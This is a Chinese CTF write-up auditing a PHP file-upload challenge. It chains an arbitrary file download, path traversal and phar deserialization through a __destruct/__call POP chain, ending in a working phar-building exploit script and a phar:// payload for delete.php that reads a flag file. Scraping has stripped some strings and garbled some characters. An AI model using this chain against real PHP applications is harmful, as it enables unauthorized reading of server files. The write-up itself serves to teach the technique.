经过测试,发现这里有个任意文件下载的漏洞,根据程序功能,下载到网站源码:
代码审计:login.php
include "class.php";
if (isset($_GET['register'])) {
echo "";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User(); # 初始化User对象
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) { # username长度小于20,调用verify_user方法验证username和password
$_SESSION['login'] = true; # session设置login、username(这里还对username做了处理)、sandbox
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; # 上传路径:uploads/sha1(username+sftUahRiTz)/
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("");
die();
}
echo "";
}
?>
register.php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) { # 限制username长度小于20,大于2,密码长度大于1
if ($u->add_user($username, $password)) { # 调用add_user方法
echo("");
die();
} else {
echo "";
die();
}
}
echo "";
}
?>
upload.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"]; # 文件名
$pos = strrpos($filename, "."); # 查找.最后出现的位置
if ($pos !== false) {
$filename = substr($filename, 0, $pos); # 截取最后出现.前的字符串
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) { #文件的 MIME 类型,需要浏览器提供该信息的支持,例如“image/gif”。
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext; # 所上传文件的存储路径:uploads/sha1(username+sftUahRiTz)/文件名+fileexxt
move_uploaded_file($_FILES["file"]["tmp_name"], $dst); # 文件被上传后在服务端储存的临时文件名。
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); # 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录
chdir($_SESSION['sandbox']); # 改变当前操作路径为上传文件的路径
$file = new File(); # 初始化file对象
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { # 文件名不超过40、open方法、文件名中不能有flag
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
uplaod/sha1()/
,这也就是为啥文件下载的时候是 ../../index.php
delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']); # 改变当前操作路径为上传文件的路径
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) { # 打开文件、调用delete方法删除文件
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); # 数据库连接
class User {
public $db;
public function __construct() { # 构造函数
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); # 预处理,这里sql注入是不行的
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) { # 构造函数
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); # filenames:path下的文件列表
$key = array_search(".", $filenames); # 寻找键值'.',返回键名
unset($filenames[$key]); # 删掉这个键值对
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file); # files存储一个用户上传路径下所有的文件对象
$this->results[$file->name()] = array(); # result每个文件名都是一个键值,每个键值对应一个数组
}
}
public function __call($func, $args) { # 对象调用一个不存在的方法时调用
array_push($this->funcs, $func); # 把不存在的函数名存入funcs(args是不存在函数所带的参数)
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func(); # results[文件名][方法名]= 调用file类对应的方法
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) { # 遍历funcs中的每个func
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) { # 遍历results中的每个键值对
$table .= '';
foreach ($result as $func => $value) { # 遍历result,得到func和对应的结果
$table .= '' . htmlentities($value) . ' ';
}
$table .= '. htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) { # 文件存在且不是文件目录则返回true
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename); # 返回basename
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i]; # 返回文件大小
}
public function detele() {
unlink($this->filename); # 删除文件
}
public function close() {
return file_get_contents($this->filename); # 返回文件内容
}
}
?>
- 基本排除sql注入
- 注意到两个魔术方法:
__call
、__destruct
是危险的
- 最值得注意的是
File
类中的 close()
方法,因为 file_get_contents
往往会造成任意文件读取(而且这里出现这个非常突兀,整个网站都没出现文件内容呈现的功能),这里也是很危险的
index.php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
看到index这里才清楚class中的奇怪的函数:
- 初始化
FileList
类,调用Name、Size方法
- 看到
Filelist
中是不存在这两种方法的,于是调用了 __call
魔术方法
__call
方法:$this->results[$file->name()][$func] = $file->$func();
results存储 File
类对应方法的执行结果
最后当FileList
对象销毁时,调用 __destruct
魔术方法,打印出结果
这里有魔术方法,联系到了反序列化;结合phar反序列化问题,明确该题目确实有phar利用条件:
phar反序列化问题分析:利用 phar 拓展 php 反序列化漏洞攻击面
-
有文件上传条件,可以上传phar文件
-
-
文件操作函数的参数可控:upload.php中filename、delete.php中filename可控
-
题目对:
、/
、phar
等特殊字符没有过滤。
POP利用链思路:
- 上传phar文件
- 这里可以在upload上传文件,对于PHP,是以关键标识
__HALT_COMPILER();?>
识别phar文件的,所以文件后缀对文件识别没有影响
- 改成
gif/jpg/png
后缀
- 后端触发反序列化
- upload.php中filename、delete.php中filename可控
unlink、file_get_contents、isdir、file_exists
这些函数在处理 phar文件时都会触发反序列化
- 但是注意到
upload.php
中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php
来触发
- 执行魔术方法、读取指定文件
- 如果想要读取文件内容,
肯定要利用class.php
中的File.close()
,但是没有直接调用这个方法的语句;
- 注意到
User
类中在 __destruct
时调用了close()
,按原逻辑,$db
应该是mysqli
即数据库对象,但是我们可以构造$db
指定为 File
对象,这样就可以读取到文件了。
- 可读取到文件不能呈现给我们,注意到
__call
魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File
中找这个方法,并把执行结果存入 $this->results[$file->name()][$func]
,刚好我们利用这一点:让 $db
为 FileList
对象,当 $db
销毁时,触发 __destruct
,调用close()
,由于 FileList
没有这个方法,于是去 File
类中找方法,读取到文件,存入 results
- 返回读取结果
__destruct
正好会将 $this->results[$file->name()][$func]
的内容打印出来
构造POP利用链:
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
$file->filename = '/flag.txt'; # 这里的flag.txt是多次猜测出来的
array_push($this->files, $file);
}
}
$user = new User();
$filelist = new FileList();
$user->db = $filelist;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成phar文件:
改一下后缀上传:
抓取delete.php的数据包,修改post提交的数据:
filename=phar://phar.gif
你可能感兴趣的:(web安全,php,安全,开发语言)